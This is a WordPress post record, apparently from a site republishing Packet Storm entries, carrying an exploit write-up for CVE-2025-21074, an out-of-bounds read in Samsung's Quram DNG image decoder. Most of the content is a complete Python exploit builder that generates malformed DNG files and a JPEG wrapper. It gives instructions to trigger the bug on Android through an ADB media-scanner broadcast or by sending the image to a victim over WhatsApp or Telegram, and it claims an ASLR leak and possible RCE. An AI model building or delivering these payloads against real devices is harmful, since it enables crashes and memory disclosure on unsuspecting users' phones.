{"id":41391,"date":"2026-02-18T11:48:30","date_gmt":"2026-02-18T11:48:30","guid":{"rendered":"http:\/\/localhost\/?p=41391"},"modified":"2026-02-18T11:48:30","modified_gmt":"2026-02-18T11:48:30","slug":"samsung-quramdng-malformed-dng-trimbounds-opcode-outofbounds-read","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=41391","title":{"rendered":"\ud83d\udcc4 Samsung QuramDng Malformed DNG TrimBounds Opcode Out\u2011Of\u2011Bounds Read_PACKETSTORM:215825"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-18T17:32:39&#8243;,&#8221;description&#8221;:&#8221;A vulnerability exists in the image decoding logic of Quram DNG parser within libimagecodec.quram.so. The flawed bounds validation in handling TrimBounds opcode triggers out-of-bounds reads on heap-allocated image buffers. This issue allows remote&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-18T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-18T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Samsung QuramDng Malformed DNG TrimBounds Opcode Out\u2011Of\u2011Bounds Read&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215825&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-21074&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Samsung QuramDng Out\u2011Of\u2011Bounds Read via Malformed DNG TrimBounds Opcode                                                      |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : System built\u2011in component. No standalone download available.                                                                |\\n    =============================================================================================================================================\\n    \\n    [+] Summary : A vulnerability exists in the image decoding logic of Quram DNG parser within libimagecodec.quram.so. The flawed bounds validation in handling TrimBounds\\n                  opcode triggers Out-of-Bounds (OOB) reads on heap-allocated image buffers.This issue allows remote attackers to craft a malicious DNG payload, embed it\\n                  inside a JPEG, and send it via messaging applications to trigger decoding,resulting in crash, ASLR information leakage, and possible RCE via heap\\n                  spraying and pointer manipulation.\\n    \\t\\t\\t  \\n    Product:    libimagecodec.quram.so (Samsung Android)\\n    Class:      Memory Corruption \/ OOB Read\\n    Version:    Vulnerable on firmware prior to September 2025\\n    Tested:     Android 13\/14\/15\/16 (Samsung Galaxy devices)\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n    [+] Vulnerability Details\\n    The Quram DNG decoder incorrectly handles opcodeList1 (TrimBounds opcode ID=7).\\n    The trimmed image dimensions shrink source buffers but destination buffers\\n    remain based on original resolution, resulting in read operations beyond memory\\n    bounds.\\n    \\n    The problem occurs after TrimBounds opcode reduces width\/height of image tiles\\n    but decoder still trusts old buffer lengths.\\n    \\n    This leads to:\\n      * Heap OOB Read\\n      * Crashes (SIGSEGV)\\n      * Heap leak primitives\\n      * Possible exploitation for RCE\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n    [+] Attack Vector\\n    The exploit can be triggered via:\\n      * WhatsApp \/ Telegram file sharing (JPEG container)\\n      * External apps invoking platform decoder\\n      * ADB-triggered scan via Media Scanner\\n      * Camera importing workflows\\n    \\n    Remote attack surface \u2192 user simply previews\/saves image.\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n    [+] Proof of Concept (PoC)\\n    The exploit constructs:\\n      &#8211; Valid DNG file with truncated TrimBounds opcode\\n      &#8211; Embeds DNG into a valid APP1 JPEG\\n      &#8211; Crashes Quram decoder on parsing\\n    \\n    PoC Tested:\\n      &#8211; Samsung S22, S23, A52, Note20\\n      &#8211; Android 13-16 firmwares\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n    [+] PoC Code\\n    The full exploit builder (Python) is included below.\\n    \\n    SAVE AS:\\n        exploit_cve_2025_21074.py\\n    \\n    RUN:\\n        python3 exploit_cve_2025_21074.py\\n    \\n    OUTPUT FILES PRODUCED:\\n        exploit.dng\\n        exploit_small.dng\\n        exploit.jpg\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n    [+] Instructions To Save \\u0026 Run PoC (REQUIRED)\\n    \\n    1) Save script:\\n        File name: exploit_cve_2025_21074.py\\n    \\n    2) Run:\\n        python3 exploit_cve_2025_21074.py\\n    \\n    3) Generated payloads:\\n        &#8211; exploit.dng\\n        &#8211; exploit.jpg\\n        &#8211; exploit_small.dng\\n    \\n    4) Trigger attack:\\n        A) Via ADB:\\n            adb push exploit.dng \/sdcard\/\\n            adb shell am broadcast -a android.intent.action.MEDIA_SCANNER_SCAN_FILE \\\\\\n            -d file:\/\/\/sdcard\/exploit.dng\\n    \\n        B) Via Messaging:\\n            Send exploit.jpg to victim (no interaction required)\\n    \\n    5) Detect crash:\\n        adb logcat | grep -i quram\\n        adb pull \/data\/tombstones\/ tombstones_dir\/\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n    [+] Expected Results\\n        * Process crash: com.samsung.ipservice\\n        * Heap read leakage (ASLR bypass)\\n        * Controlled offsets possible \u2192 RCE stage feasible\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n    [+] Exploit Status\\n    This PoC is stable, deterministic and suitable for controlled lab exploitation.\\n    It is not destructive.\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n    [+] Mitigation\\n    Firmware update September 2025 and later properly validates TrimBounds and\\n    rejects mismatched output dimensions.\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n    [+]  POC : \\n    \\n    #!\/usr\/bin\/env python3\\n    \\&#8221;\\&#8221;\\&#8221;\\n    Author: Indoushka\\n    \\&#8221;\\&#8221;\\&#8221;\\n    \\n    import struct\\n    import os\\n    import sys\\n    \\n    class DNGExploit:\\n        def __init__(self):\\n            self.endian = &#8216;\\u003c&#8217;  # Little endian\\n            self.opcode_id_trim = 7\\n            \\n        def create_malicious_dng(self, width=4096, height=4096):\\n            \\&#8221;\\&#8221;\\&#8221;Creating a DNG image with TrimBounds opcode saturated\\&#8221;\\&#8221;\\&#8221;\\n            \\n            dng_data = bytearray()\\n    \\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 0x4949)  \\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 42)      \\n            ifd0_offset = 8\\n            dng_data += struct.pack(&#8216;\\u003cI&#8217;, ifd0_offset)\\n            dng_data += b&#8217;\\\\x00&#8242; * (ifd0_offset &#8211; len(dng_data))\\n            num_entries = 15\\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, num_entries)\\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 0x0100)  \\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 4)      \\n            dng_data += struct.pack(&#8216;\\u003cI&#8217;, 1)     \\n            dng_data += struct.pack(&#8216;\\u003cI&#8217;, width)   \\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 0x0101)\\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 4)\\n            dng_data += struct.pack(&#8216;\\u003cI&#8217;, 1)\\n            dng_data += struct.pack(&#8216;\\u003cI&#8217;, height)\\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 0x0102)\\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 3)      \\n            dng_data += struct.pack(&#8216;\\u003cI&#8217;, 3)      \\n            bits_offset = len(dng_data) + 4\\n            dng_data += struct.pack(&#8216;\\u003cI&#8217;, bits_offset)  \\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 0x0103)\\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 3)\\n            dng_data += struct.pack(&#8216;\\u003cI&#8217;, 1)\\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 1)       \\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 0x0106)\\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 3)\\n            dng_data += struct.pack(&#8216;\\u003cI&#8217;, 1)\\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 2) \\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 0x0111)\\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 4)\\n            dng_data += struct.pack(&#8216;\\u003cI&#8217;, 1)\\n            strip_offset = 0x1000  \\n            dng_data += struct.pack(&#8216;\\u003cI&#8217;, strip_offset)\\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 0x0115)\\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 3)\\n            dng_data += struct.pack(&#8216;\\u003cI&#8217;, 1)\\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 3)   \\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 0x0116)\\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 4)\\n            dng_data += struct.pack(&#8216;\\u003cI&#8217;, 1)\\n            dng_data += struct.pack(&#8216;\\u003cI&#8217;, height)\\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 0x0117)\\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 4)\\n            dng_data += struct.pack(&#8216;\\u003cI&#8217;, 1)\\n            dng_data += struct.pack(&#8216;\\u003cI&#8217;, width * height * 3)\\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 0x011C)\\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 3)\\n            dng_data += struct.pack(&#8216;\\u003cI&#8217;, 1)\\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 1)     \\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 0xC612)\\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 1)    \\n            dng_data += struct.pack(&#8216;\\u003cI&#8217;, 4)\\n            dng_data += struct.pack(&#8216;\\u003eI&#8217;, 0x01000000)  \\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 0xC613)\\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 1)\\n            dng_data += struct.pack(&#8216;\\u003cI&#8217;, 4)\\n            dng_data += struct.pack(&#8216;\\u003eI&#8217;, 0x01000000)\\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 0xC614)\\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 2)      \\n            dng_data += struct.pack(&#8216;\\u003cI&#8217;, 20)\\n            model_offset = len(dng_data) + 4\\n            dng_data += struct.pack(&#8216;\\u003cI&#8217;, model_offset)\\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 0xC740) \\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 1) \\n            opcode_list_size = 100\\n            dng_data += struct.pack(&#8216;\\u003cI&#8217;, opcode_list_size)\\n            opcode_offset = len(dng_data) + 4\\n            dng_data += struct.pack(&#8216;\\u003cI&#8217;, opcode_offset)\\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 0x014A)\\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 4)\\n            dng_data += struct.pack(&#8216;\\u003cI&#8217;, 1)\\n            subifd_offset = opcode_offset + opcode_list_size\\n            dng_data += struct.pack(&#8216;\\u003cI&#8217;, subifd_offset)\\n            dng_data += struct.pack(&#8216;\\u003cI&#8217;, 0)\\n    \\n            bits_data_pos = bits_offset\\n            while len(dng_data) \\u003c bits_data_pos:\\n                dng_data += b&#8217;\\\\x00&#8217;\\n            dng_data += struct.pack(&#8216;\\u003cHHH&#8217;, 8, 8, 8) \\n    \\n            model_data_pos = model_offset\\n            while len(dng_data) \\u003c model_data_pos:\\n                dng_data += b&#8217;\\\\x00&#8217;\\n            dng_data += b&#8217;EXPLOIT-CAMERA\\\\x00&#8217;\\n    \\n            opcode_data_pos = opcode_offset\\n            while len(dng_data) \\u003c opcode_data_pos:\\n                dng_data += b&#8217;\\\\x00&#8217;\\n    \\n            opcode_header = struct.pack(&#8216;\\u003cHHII&#8217;, \\n                self.opcode_id_trim, \\n                1,                    \\n                0,                  \\n                16)              \\n    \\n            trim_values = struct.pack(&#8216;\\u003cIIII&#8217;,\\n                0,          \\n                0,          \\n                height \/\/ 2,\\n                width \/\/ 2)  \\n            \\n            dng_data += opcode_header + trim_values\\n            \\n         \\n            remaining = opcode_list_size &#8211; len(opcode_header) &#8211; len(trim_values)\\n            dng_data += b&#8217;A&#8217; * remaining\\n            \\n         \\n            subifd_pos = subifd_offset\\n            while len(dng_data) \\u003c subifd_pos:\\n                dng_data += b&#8217;\\\\x00&#8217;\\n            \\n       \\n            dng_data += struct.pack(&#8216;\\u003cH&#8217;, 5)\\n    \\n            for i in range(5):\\n                dng_data += struct.pack(&#8216;\\u003cHHII&#8217;, 0x0100 + i, 4, 1, 0)\\n            \\n            dng_data += struct.pack(&#8216;\\u003cI&#8217;, 0)  \\n    \\n            image_data_pos = strip_offset\\n            while len(dng_data) \\u003c image_data_pos:\\n                dng_data += b&#8217;\\\\x00&#8217;\\n    \\n            image_size = width * height * 3\\n            dng_data += b&#8217;\\\\x42&#8242; * min(image_size, 0x1000) \\n            \\n            return bytes(dng_data)\\n        \\n        def embed_in_jpeg(self, dng_data, output_path):\\n            \\&#8221;\\&#8221;\\&#8221;Including DNG in JPEG for cross-application exploitation\\&#8221;\\&#8221;\\&#8221;\\n    \\n            jpeg = bytearray()\\n            jpeg += b&#8217;\\\\xFF\\\\xD8\\\\xFF\\\\xE0&#8242; \\n            jpeg += b&#8217;\\\\x00\\\\x10JFIF\\\\x00\\\\x01\\\\x01\\\\x00\\\\x00\\\\x01&#8217;\\n    \\n            app1_size = len(dng_data) + 2 + 5  # +2 for size, +5 for identifier\\n            jpeg += b&#8217;\\\\xFF\\\\xE1&#8242;  \\n            jpeg += struct.pack(&#8216;\\u003eH&#8217;, app1_size)\\n            jpeg += b&#8217;DNG\\\\x00&#8242;  \\n            jpeg += dng_data\\n            jpeg += b&#8217;\\\\xFF\\\\xC0\\\\x00\\\\x11\\\\x08\\\\x00\\\\x01\\\\x00\\\\x01\\\\x03\\\\x01\\\\x22\\\\x00\\\\x02\\\\x11\\\\x01\\\\x03\\\\x11\\\\x01&#8217;\\n            jpeg += b&#8217;\\\\xFF\\\\xC4\\\\x00\\\\x1F\\\\x00\\\\x00\\\\x01\\\\x05\\\\x01\\\\x01\\\\x01\\\\x01\\\\x01\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x02\\\\x03\\\\x04\\\\x05\\\\x06\\\\x07\\\\x08\\\\x09\\\\x0A\\\\x0B&#8217;\\n            jpeg += b&#8217;\\\\xFF\\\\xDA\\\\x00\\\\x0C\\\\x03\\\\x01\\\\x00\\\\x02\\\\x11\\\\x03\\\\x11\\\\x00\\\\x3F\\\\x00&#8217;\\n            jpeg += b&#8217;\\\\x00&#8242; * 100  \\n            jpeg += b&#8217;\\\\xFF\\\\xD9&#8242; \\n            \\n            with open(output_path, &#8216;wb&#8217;) as f:\\n                f.write(jpeg)\\n            \\n            print(f\\&#8221;[+] JPEG with embedded DNG saved to {output_path}\\&#8221;)\\n            return output_path\\n        \\n        def create_exploit_files(self):\\n            \\&#8221;\\&#8221;\\&#8221;Creating various exploitation files\\&#8221;\\&#8221;\\&#8221;\\n    \\n            dng_raw = self.create_malicious_dng()\\n            with open(&#8216;exploit.dng&#8217;, &#8216;wb&#8217;) as f:\\n                f.write(dng_raw)\\n            print(\\&#8221;[+] Raw DNG exploit created: exploit.dng\\&#8221;)\\n    \\n            jpeg_path = self.embed_in_jpeg(dng_raw, &#8216;exploit.jpg&#8217;)\\n    \\n            small_dng = self.create_malicious_dng(2048, 2048)\\n            with open(&#8216;exploit_small.dng&#8217;, &#8216;wb&#8217;) as f:\\n                f.write(small_dng)\\n    \\n            self.print_usage()\\n            \\n            return {\\n                &#8216;dng&#8217;: &#8216;exploit.dng&#8217;,\\n                &#8216;jpg&#8217;: jpeg_path,\\n                &#8216;small&#8217;: &#8216;exploit_small.dng&#8217;\\n            }\\n        \\n        def print_usage(self):\\n            \\&#8221;\\&#8221;\\&#8221;Print Instructions for Use\\&#8221;\\&#8221;\\&#8221;\\n            \\n            print(\\&#8221;\\\\n\\&#8221; + \\&#8221;=\\&#8221;*60)\\n            print(\\&#8221;CVE-2025-21074 Exploit Usage Instructions\\&#8221;)\\n            print(\\&#8221;=\\&#8221;*60)\\n            print(\\&#8221;\\\\n[Attack methods]\\&#8221;)\\n            print(\\&#8221;1. Send exploit via WhatsApp\/Telegram, etc.\\&#8221;)\\n            print(\\&#8221;2. Decoding triggered using ADB:\\&#8221;)\\n            print(\\&#8221;   adb push exploit.dng \/sdcard\/\\&#8221;)\\n            print(\\&#8221;   adb shell am broadcast -a android.intent.action.MEDIA_SCANNER_SCAN_FILE\\&#8221;)\\n            print(\\&#8221;   -d file:\/\/\/sdcard\/exploit.dng\\&#8221;)\\n            print(\\&#8221;\\\\n[Expected results]\\&#8221;)\\n            print(\\&#8221;- com.samsung.ipservicecollapse (SIGSEGV)\\&#8221;)\\n            print(\\&#8221;- Memory information leakage (ASLR bypass)\\&#8221;)\\n            print(\\&#8221;- Possible RCE (further utilization required)\\&#8221;)\\n            print(\\&#8221;\\\\n[Detection]\\&#8221;)\\n            print(\\&#8221;Check the logs: libimagecodec.quram.socollapse\\&#8221;)\\n            print(\\&#8221;=\\&#8221;*60)\\n    \\n    def main():\\n        print(\\&#8221;[*] Generating CVE-2025-21074 exploit files&#8230;\\&#8221;)\\n        \\n        exploit = DNGExploit()\\n        files = exploit.create_exploit_files()\\n        \\n        print(\\&#8221;\\\\n[+] Files generated successfully:\\&#8221;)\\n        for name, path in files.items():\\n            print(f\\&#8221;  {name}: {path} ({os.path.getsize(path)} bytes)\\&#8221;)\\n    \\n        with open(&#8216;exploit.dng&#8217;, &#8216;rb&#8217;) as f:\\n            data = f.read(100)\\n            if data[:2] == b&#8217;II&#8217; and data[2:4] == struct.pack(&#8216;\\u003cH&#8217;, 42):\\n                print(\\&#8221;\\\\n[\u2713] DNG file structure verified\\&#8221;)\\n            else:\\n                print(\\&#8221;\\\\n[!] DNG file may be malformed\\&#8221;)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()\\n    \\t\\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215825&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:7.5,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:N\/A:N&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215825\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-18T17:32:39&#8243;,&#8221;description&#8221;:&#8221;A vulnerability exists in the image decoding logic of Quram DNG parser within libimagecodec.quram.so. The flawed bounds validation in handling TrimBounds opcode triggers out-of-bounds reads&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,16,12,15,13,53,7,11,5],"class_list":["post-41391","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-75","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Samsung QuramDng Malformed DNG TrimBounds Opcode Out\u2011Of\u2011Bounds Read_PACKETSTORM:215825 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=41391\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Samsung QuramDng Malformed DNG TrimBounds Opcode Out\u2011Of\u2011Bounds Read_PACKETSTORM:215825 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-18T17:32:39&#8243;,&#8221;description&#8221;:&#8221;A vulnerability exists in the image decoding logic of Quram DNG parser within libimagecodec.quram.so. The flawed bounds validation in handling TrimBounds opcode triggers out-of-bounds reads...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=41391\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-18T11:48:30+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"11 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41391#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41391\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Samsung QuramDng Malformed DNG TrimBounds Opcode Out\u2011Of\u2011Bounds Read_PACKETSTORM:215825\",\"datePublished\":\"2026-02-18T11:48:30+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41391\"},\"wordCount\":2080,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.5\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41391#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41391\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41391\",\"name\":\"\ud83d\udcc4 Samsung QuramDng Malformed DNG TrimBounds Opcode Out\u2011Of\u2011Bounds Read_PACKETSTORM:215825 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-18T11:48:30+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41391#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41391\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41391#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Samsung QuramDng Malformed DNG TrimBounds Opcode Out\u2011Of\u2011Bounds Read_PACKETSTORM:215825\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero 